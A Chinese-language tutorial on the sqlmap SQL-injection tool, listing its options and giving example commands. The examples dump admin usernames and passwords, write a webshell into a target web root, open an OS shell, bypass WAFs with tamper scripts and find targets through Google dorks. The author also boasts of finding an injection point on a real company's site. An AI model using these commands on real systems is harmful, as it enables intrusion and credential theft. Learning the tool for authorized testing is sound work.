sqlmap-----整理


sqlmap 官网:http://sqlmap.org/

sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage

sqlmap用户手册详解实用版:http://www.vuln.cn/2035

手动sql 注入:http://blog.csdn.net/u011781521/article/details/53959201

sqlmap注入之tamper绕过WAF(Web Application firewall)防火墙过滤:http://www.vuln.cn/2086


http://blog.csdn.net/zgyulongfei/article/details/41017493/        http://www.freebuf.com/articles/web/29942.html

乌云镜像:http://www.anquan.us/search?keywords=sqlmap&content_search_by=by_drops

注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。


sqlmap使用 思维导图:http://download.csdn.net/detail/freeking101/9887831

sqlmap 参数


 
 
  1. ___
  2. __H__
  3. ___ ___[.]_____ ___ ___ { 1.1 .3 #stable}
  4. |_ -| . [(] | . '| . |
  5. |___|_ ["]_|_|_|__,| _|
  6. |_|V |_| http://sqlmap.org
  7. Usage: python sqlmap [options]
  8. Options(选项):
  9. -h, --help 显示基本帮助信息
  10. -hh 显示高级帮助信息
  11. --version 显示版本号
  12. -v VERBOSE 详细级别:0-6(默认为1).设置输出信息的详细程度
  13. 0:只显示追踪栈 ,错误以及重要信息。1:还显示信息和警告。2:显示debug消息。3:显示注入payload。
  14. 4:显示HTTP请求。5:显示HTTP响应头。6:显示HTTP响应内容
  15. Target(目标):
  16. 以下至少需要设置其中一个选项来提供给目标URL
  17. -d DIRECT 直接连接到数据库的连接字符串。
  18. -u URL, --url=URL 目标 URL (e.g. "http://www.site.com/vuln.php?id=1")
  19. -l LOGFILE 从Burp或WebScarab代理的日志中解析目标
  20. -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 从远程站点地图文件(.xml)解析目标(s)
  21. -m BULKFILE Scan multiple targets given in a textual file 扫描文本文件中给出的多个目标
  22. -r REQUESTFILE Load HTTP request from a file 从文件加载HTTP请求
  23. -g GOOGLEDORK Process Google dork results as target URLs 处理Google dork的结果作为目标URL
  24. -c CONFIGFILE Load options from a configuration INI file 从INI配置文件中加载选项。
  25. Request(请求):
  26. 这些选项可以用来指定如何连接到目标URL。
  27. --method=METHOD Force usage of given HTTP method (e.g. PUT) 强制使用给定的HTTP方法(e.g. PUT)
  28. --data=DATA Data string to be sent through POST 通过POST发送的数据字符串
  29. --param-del=PARA.. Character used for splitting parameter values 用于拆分参数值的字符
  30. --cookie=COOKIE HTTP Cookie header value HTTP Cookie头的值
  31. --cookie-del=COO.. Character used for splitting cookie values 用于分割Cookie值的字符
  32. --load-cookies=L.. File containing cookies in Netscape/wget format 包含Netscape / wget格式的cookie的文件
  33. --drop-set-cookie Ignore Set-Cookie header from response 从响应中忽略Set-Cookie头
  34. --user-agent=AGENT HTTP User-Agent header value 指定 HTTP User - Agent头
  35. --random-agent Use randomly selected HTTP User-Agent header value 使用随机选定的HTTP User - Agent头
  36. --host=HOST HTTP Host header value HTTP主机头值
  37. --referer=REFERER HTTP Referer header value 指定 HTTP Referer头
  38. -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") 额外header
  39. --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") 额外header
  40. --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP认证类型(Basic, Digest, NTLM or PKI)
  41. --auth-cred=AUTH.. HTTP authentication credentials (name:password) HTTP认证凭证(name:password)
  42. --auth-file=AUTH.. HTTP authentication PEM cert/private key file HTTP认证 PEM认证/私钥文件
  43. --ignore-401 Ignore HTTP Error 401 (Unauthorized) 忽略HTTP错误401(未经授权)
  44. --ignore-proxy Ignore system default proxy settings 忽略系统默认代理设置
  45. --ignore-redirects Ignore redirection attempts
  46. --ignore-timeouts Ignore connection timeouts
  47. --proxy=PROXY Use a proxy to connect to the target URL 使用代理连接到目标网址
  48. --proxy-cred=PRO.. Proxy authentication credentials (name:password) 代理认证证书(name:password)
  49. --proxy-file=PRO.. Load proxy list from a file 从文件中加载代理列表
  50. --tor Use Tor anonymity network 使用Tor匿名网络
  51. --tor-port=TORPORT Set Tor proxy port other than default 设置Tor代理端口而不是默认值
  52. --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) 设置Tor代理类型
  53. --check-tor Check to see if Tor is used properly 检查Tor是否正确使用
  54. --delay=DELAY Delay in seconds between each HTTP request 每个HTTP请求之间的延迟(秒)
  55. --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) 秒超时连接前等待(默认30)
  56. --retries=RETRIES Retries when the connection timeouts (default 3) 连接超时时重试(默认值3)
  57. --randomize=RPARAM Randomly change value for given parameter(s) 随机更改给定参数的值(s)
  58. --safe-url=SAFEURL URL address to visit frequently during testing 在测试期间频繁访问的URL地址
  59. --safe-post=SAFE.. POST data to send to a safe URL POST数据发送到安全URL
  60. --safe-req=SAFER.. Load safe HTTP request from a file 从文件加载安全HTTP请求
  61. --safe-freq=SAFE.. Test requests between two visits to a given safe URL 在两次访问给定安全网址之间测试请求
  62. --skip-urlencode Skip URL encoding of payload data 跳过有效载荷数据的URL编码
  63. --csrf-token=CSR.. Parameter used to hold anti-CSRF token 参数用于保存anti-CSRF令牌
  64. --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token 提取anti-CSRF URL地址访问令牌
  65. --force-ssl Force usage of SSL/HTTPS 强制使用SSL / HTTPS
  66. --hpp Use HTTP parameter pollution method 使用HTTP参数pollution的方法
  67. --eval=EVALCODE Evaluate provided Python code before the request (e.g. 评估请求之前提供Python代码
  68. "import hashlib;id2=hashlib.md5(id).hexdigest()")
  69. Optimization(优化):
  70. 这些选项可用于优化SqlMap的性能。
  71. -o 打开所有优化开关
  72. --predict-output 预测常见的查询输出
  73. --keep-alive 使用持久的HTTP(S)连接
  74. --null-connection 从没有实际的HTTP响应体中检索页面长度
  75. --threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
  76. Injection(注入):
  77. 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
  78. -p TESTPARAMETER 可测试的参数(S)
  79. --skip=SKIP Skip testing for given parameter(s) 跳过对给定参数的测试
  80. --skip-static Skip testing parameters that not appear to be dynamic 跳过测试不显示为动态的参数
  81. --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") 使用正则表达式排除参数进行测试(e.g. "ses")
  82. --dbms=DBMS 强制后端的DBMS为此值
  83. --dbms-cred=DBMS.. DBMS认证凭证(user:password)
  84. --os=OS 强制后端的DBMS操作系统为这个值
  85. --invalid-bignum 使用大数字使值无效
  86. --invalid-logical 使用逻辑操作使值无效
  87. --invalid-string 使用随机字符串使值无效
  88. --no-cast Turn off payload casting mechanism 关闭有效载荷铸造机制
  89. --no-escape Turn off string escaping mechanism 关闭字符串转义机制
  90. --prefix=PREFIX 注入payload字符串前缀
  91. --suffix=SUFFIX 注入payload字符串后缀
  92. --tamper=TAMPER 使用给定的脚本(S)篡改注入数据
  93. Detection(检测):
  94. 这些选项可用于自定义检测阶段。即这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
  95. --level=LEVEL 执行测试的等级(1-5,默认为1)
  96. --risk=RISK 执行测试的风险(0-3,默认为1)
  97. --string=STRING 查询有效时,在页面匹配字符串。即当查询被评估为True时,字符串匹配
  98. --not-string=NOT.. String to match when query is evaluated to False
  99. --regexp=REGEXP 查询有效时,在页面匹配正则表达式
  100. --code=CODE HTTP code to match when query is evaluated to True
  101. --text-only 仅基于在文本内容比较网页
  102. --titles Compare pages based only on their titles 仅根据他们的标题进行比较
  103. Techniques(技巧):
  104. 这些选项可用于调整具体的SQL注入测试。
  105. --technique=TECH SQL注入技术测试(默认BEUST)
  106. --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  107. --union-cols=UCOLS Range of columns to test for UNION query SQL injection 定列范围用于测试UNION查询注入
  108. --union-char=UCHAR Character to use for bruteforcing number of columns 用于暴力猜解列数的字符
  109. --union-from=UFROM Table to use in FROM part of UNION query SQL injection 要在UNION查询SQL注入的FROM部分使用的表
  110. --dns-domain=DNS.. Domain name used for DNS exfiltration attack 域名用于DNS漏出攻击
  111. --second-order=S.. Resulting page URL searched for second-order response 生成页面的URL搜索为second-order响应
  112. Fingerprint(指纹):
  113. -f, --fingerprint Perform an extensive DBMS version fingerprint。 执行检查广泛的DBMS版本指纹
  114. Enumeration(枚举):
  115. 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句
  116. -a, --all Retrieve everything
  117. -b, --banner Retrieve DBMS banner //检索数据库管理系统的标识
  118. --current-user Retrieve DBMS current user // 检索数据库管理系统当前用户
  119. --current-db Retrieve DBMS current database //检索数据库管理系统当前数据库
  120. --hostname Retrieve DBMS server hostname
  121. --is-dba Detect if the DBMS current user is DBA //检测DBMS当前用户是否DBA
  122. --users Enumerate DBMS users //枚举数据库管理系统所有的用户
  123. --passwords Enumerate DBMS users password hashes //枚举数据库管理系统用户密码哈希
  124. --privileges Enumerate DBMS users privileges //枚举数据库管理系统用户的权限
  125. --roles Enumerate DBMS users roles //枚举数据库管理系统用户的角色
  126. --dbs Enumerate DBMS databases //枚举数据库管理系统所有数据库
  127. --tables Enumerate DBMS database tables //枚举的DBMS数据库中所有的表
  128. --columns Enumerate DBMS database table columns //枚举DBMS数据库表所有的列
  129. --schema Enumerate DBMS schema
  130. --count Retrieve number of entries for table(s)
  131. --dump Dump DBMS database table entries //转储数据库管理系统的数据库中的表项
  132. --dump-all Dump all DBMS databases tables entries //转储所有的DBMS数据库表中的条目
  133. --search Search column(s), table(s) and/or database name(s) //搜索列(S),表(S)和/或数据库名称(S)
  134. --comments Retrieve DBMS comments
  135. -D DB DBMS database to enumerate // 要进行枚举的指定数据库名
  136. -T TBL DBMS database table(s) to enumerate // 要进行枚举的指定数据库表(如:-T tablename –columns)
  137. -C COL DBMS database table column(s) to enumerate //要进行枚举的数据库列
  138. -X EXCLUDECOL DBMS database table column(s) to not enumerate
  139. -U USER DBMS user to enumerate //用来进行枚举的数据库用户
  140. --exclude-sysdbs Exclude DBMS system databases when enumerating tables //枚举表时排除系统数据库
  141. --pivot-column=P.. Pivot column name
  142. --where=DUMPWHERE Use WHERE condition while table dumping
  143. --start=LIMITSTART First query output entry to retrieve //第一个查询输出进入检索
  144. --stop=LIMITSTOP Last query output entry to retrieve //最后查询的输出进入检索
  145. --first=FIRSTCHAR First query output word character to retrieve //第一个查询输出字的字符检索
  146. --last=LASTCHAR Last query output word character to retrieve //最后查询的输出字字符检索
  147. --sql-query=QUERY SQL statement to be executed //要执行的SQL语句
  148. --sql-shell Prompt for an interactive SQL shell // 提示交互式SQL的shell
  149. --sql-file=SQLFILE Execute SQL statements from given file(s)
  150. Brute force(野蛮、蛮力):
  151. 这些选项可以被用来运行蛮力检查。
  152. --common-tables Check existence of common tables // 检查存在共同表
  153. --common-columns Check existence of common columns // 检查存在共同列
  154. User-defined function injection(用户自定义函数注入):
  155. 这些选项可以用来创建用户自定义函数。
  156. --udf-inject Inject custom user-defined functions // 注入用户自定义函数
  157. --shared-lib=SHLIB Local path of the shared library // 共享库的本地路径
  158. File system access(访问文件系统):
  159. 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
  160. --file-read=RFILE Read a file from the back-end DBMS file system // 从后端的数据库管理系统文件系统读取文件
  161. --file-write=WFILE Write a local file on the back-end DBMS file system // 编辑后端的数据库管理系统文件系统上的本地文件
  162. --file-dest=DFILE Back-end DBMS absolute filepath to write to // 后端的数据库管理系统写入文件的绝对路径
  163. Operating system access(操作系统访问):
  164. 这些选项可以用于访问后端数据库管理系统的底层操作系统。
  165. --os-cmd=OSCMD 执行操作系统命令
  166. --os-shell Prompt for an interactive operating system shell // 交互式的操作系统的shell
  167. --os-pwn Prompt for an OOB shell, Meterpreter or VNC // 获取一个OOB shell,meterpreter或VNC
  168. --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC // 一键获取一个OOB shell,meterpreter或VNC
  169. --os-bof Stored procedure buffer overflow exploitation // 存储过程缓冲区溢出利用
  170. --priv-esc Database process user privilege escalation // 数据库进程用户权限提升
  171. --msf-path=MSFPATH Local path where Metasploit Framework is installed // Metasploit Framework本地的安装路径
  172. --tmp-path=TMPPATH Remote absolute path of temporary files directory // 远程临时文件目录的绝对路径
  173. Windows registry access(Windows注册表访问):
  174. 这些选项可以被用来访问后端数据库管理系统Windows注册表。
  175. --reg-read 读一个Windows注册表项值
  176. --reg-add 写一个Windows注册表项值数据
  177. --reg-del 删除Windows注册表键值
  178. --reg-key=REGKEY Windows注册表键
  179. --reg-value=REGVAL Windows注册表项的值
  180. --reg-data=REGDATA Windows注册表键值数据
  181. --reg-type=REGTYPE Windows注册表项值类型
  182. General(一般,通用,基本):
  183. 这些选项可以用来设置一些一般的工作参数。
  184. -s SESSIONFILE Load session from a stored (.sqlite) file 保存和恢复检索会话文件的所有数据
  185. -t TRAFFICFILE Log all HTTP traffic into a textual file 记录所有HTTP流量到一个文本文件中
  186. --batch Never ask for user input, use the default behaviour 从不询问用户输入,使用所有默认配置。
  187. --binary-fields=.. Result fields having binary values (e.g. "digest") 具有二进制值的结果字段
  188. --charset=CHARSET Force character encoding used for data retrieval 强制用于数据检索的字符编码
  189. --crawl=CRAWLDEPTH Crawl the website starting from the target URL 从目标网址开始抓取网站
  190. --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") 正则表达式排除网页抓取
  191. --csv-del=CSVDEL Delimiting character used in CSV output (default ",") 分隔CSV输出中使用的字符
  192. --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) 转储数据的格式
  193. --eta Display for each output the estimated time of arrival 显示每个输出的预计到达时间
  194. --flush-session Flush session files for current target 刷新当前目标的会话文件
  195. --forms Parse and test forms on target URL 在目标网址上解析和测试表单
  196. --fresh-queries Ignore query results stored in session file 忽略在会话文件中存储的查询结果
  197. --hex Use DBMS hex function(s) for data retrieval 使用DBMS hex函数进行数据检索
  198. --output-dir=OUT.. Custom output directory path 自定义输出目录路径
  199. --parse-errors Parse and display DBMS error messages from responses 解析和显示响应中的DBMS错误消息
  200. --save=SAVECONFIG Save options to a configuration INI file 保存选项到INI配置文件
  201. --scope=SCOPE Regexp to filter targets from provided proxy log 使用正则表达式从提供的代理日志中过滤目标
  202. --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) 根据有效负载和/或标题(e.g. ROW)选择测试
  203. --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) 根据有效负载和/或标题跳过测试(e.g. BENCHMARK)
  204. --update Update sqlmap 更新SqlMap
  205. Miscellaneous(杂项):
  206. -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") 使用简短的助记符
  207. --alert=ALERT Run host OS command(s) when SQL injection is found 在找到SQL注入时运行主机操作系统命令
  208. --answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") 设置问题答案
  209. --beep 发现SQL注入时提醒
  210. --cleanup Clean up the DBMS from sqlmap specific UDF and tables SqlMap具体的UDF和表清理DBMS
  211. --dependencies Check for missing (non-core) sqlmap dependencies 检查是否缺少(非内核)sqlmap依赖关系
  212. --disable-coloring Disable console output coloring 禁用控制台输出颜色
  213. --gpage=GOOGLEPAGE Use Google dork results from specified page number 使用Google dork结果指定页码
  214. --identify-waf Make a thorough testing for a WAF/IPS/IDS protection 对WAF / IPS / IDS保护进行全面测试
  215. --mobile Imitate smartphone through HTTP User-Agent header
  216. --offline Work in offline mode (only use session data) 在离线模式下工作(仅使用会话数据)
  217. --purge-output Safely remove all content from output directory 安全地从输出目录中删除所有内容
  218. --skip-waf Skip heuristic detection of WAF/IPS/IDS protection 跳过启发式检测WAF / IPS / IDS保护
  219. --smart Conduct thorough tests only if positive heuristic(s) 只有在正启发式时才进行彻底测试
  220. --sqlmap-shell Prompt for an interactive sqlmap shell
  221. --tmp-dir=TMPDIR Local directory for storing temporary files
  222. --web-root=WEBROOT Web server document root directory (e.g. "/var/www")
  223. --wizard Simple wizard interface for beginner users 给初级用户的简单向导界面


sqlmap简介

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

sqlmap

当给sqlmap这么一个url的时候,它会:
        1、判断可注入的参数
        2、判断可以用那种SQL注入技术来注入
        3、识别出哪种数据库
        4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:


 
 
  1. 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 4、联合查询注入,可以使用 union的情况下的注入。
  5. 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库

        sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB


目标

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

Youtube上有人做的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可以使用git来获取sqlmap

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:


 
 
  1. 0、只显示python错误以及严重的信息。
  2. 1、同时显示基本信息和警告信息。(默认)
  3. 2、同时显示debug信息。
  4. 3、同时显示注入的payload。
  5. 4、同时显示HTTP请求。
  6. 5、同时显示HTTP响应头。
  7. 6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。

检测注入

基本格式( URL 需要使用 英文双引号 引起来 )


 
 
  1. sqlmap -u "http://www.vuln.cn/post.php?id=1" //默认使用level1检测全部数据库类型
  2. sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level= 3 //指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)



跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u "http://www.baidu.com/shownews.asp" --cookie="id=11" --level 2     (只有level达到2才会检测cookie)
 
 

从post数据包中注入


 
 
  1. 可以使用burpsuite或者temperdata等工具来抓取post包
  2. sqlmap -r "c:\tools\request.txt" -p "username" --dbms=mysql 指定username参数

注入成功后

获取数据库基本信息


 
 
  1. sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 --dbs 查询有哪些数据库
  2. sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test --tables 查询 test数据库中有哪些表
  3. sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin --columns 查询 test数据库中admin表有哪些字段
  4. sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms=mysql --level 3 -D test -T admin -C "username,password" --dump dump出字段username与password中的数据


从数据库中搜索字段

sqlmap -r "c:\tools\request.txt" --dbms=mysql -D dedecms --search -C admin,password    在dedecms数据库中搜索字段admin或者password。
 
 

读取与写入文件


 
 
  1. 首先找需要网站的物理路径,其次需要有可写或可读权限。
  2. --file- read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
  3. --file- write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
  4. --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
  5. #示例:
  6. sqlmap -r "c:\request.txt" -p id --dbms=mysql --file-dest= "e:\php\htdocs\dvwa\inc\include\1.php" --file- write "f:\webshell\1112.php"
  7. 使用shell命令:
  8. sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell
  9. 接下来指定网站可写目录:
  10. "E:\php\htdocs\dvwa"
  11. #注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

——————————————————————————————————

sqlmap用户手册

获取目标方式

目标URL

参数:-u或者--url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

本地测试结果截图


也可以从Burp或者WebScarab代理中获取日志

参数:-l

可以直接把 Burp proxy 或者 WebScarab proxy 中的日志直接倒出来交给 sqlmap 来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
从文件中加载HTTP请求

参数:-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

比如文本文件内如下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用,或者你可以在Host头后面加上:443


处理Google的搜索结果

参数:-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)

例子:

python sqlmap.py -g "inurl:\".php?id=1\""

(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)。此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

请求

http数据

参数:--data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

参数拆分字符

参数:--param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子:python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:--referer

sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:--headers

可以通过--headers参数来增加额外的http头

HTTP认证保护

参数:--auth-type,--auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:1、Basic 。2、Digest 。3、NTLM

例子:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议的证书认证

参数:--auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数:--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式为:http://url:port。

当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。

--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:--delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:--timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:--retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:--randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:--scope

例如:python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

参数:--safe-url,--safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
关掉URL参数值编码

参数:--skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用--skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:--eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

例子:python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

注入

测试参数

参数:-p,--skip

sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"   当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。
例如:--skip="user-angent.referer"
在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

例如:python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:--dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:--os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:--invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:--invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:--prefix,--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix和--suffix参数了:python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的数据

参数:--tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式:


 
 
  1. # Needed imports
  2. from lib.core.enums import PRIORITY
  3. # Define which is the order of application of tamper scripts against
  4. # the payload
  5. __priority__ = PRIORITY.NORMAL
  6. def tamper(payload):
  7. '''
  8. Description of your tamper script
  9. '''
  10. retVal = payload
  11. # your code to tamper the original payload
  12. # return the tampered payload
  13. return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本. 例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
 
 

探测

探测等级

参数:--level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:--string,--not-string,--regexp,--code

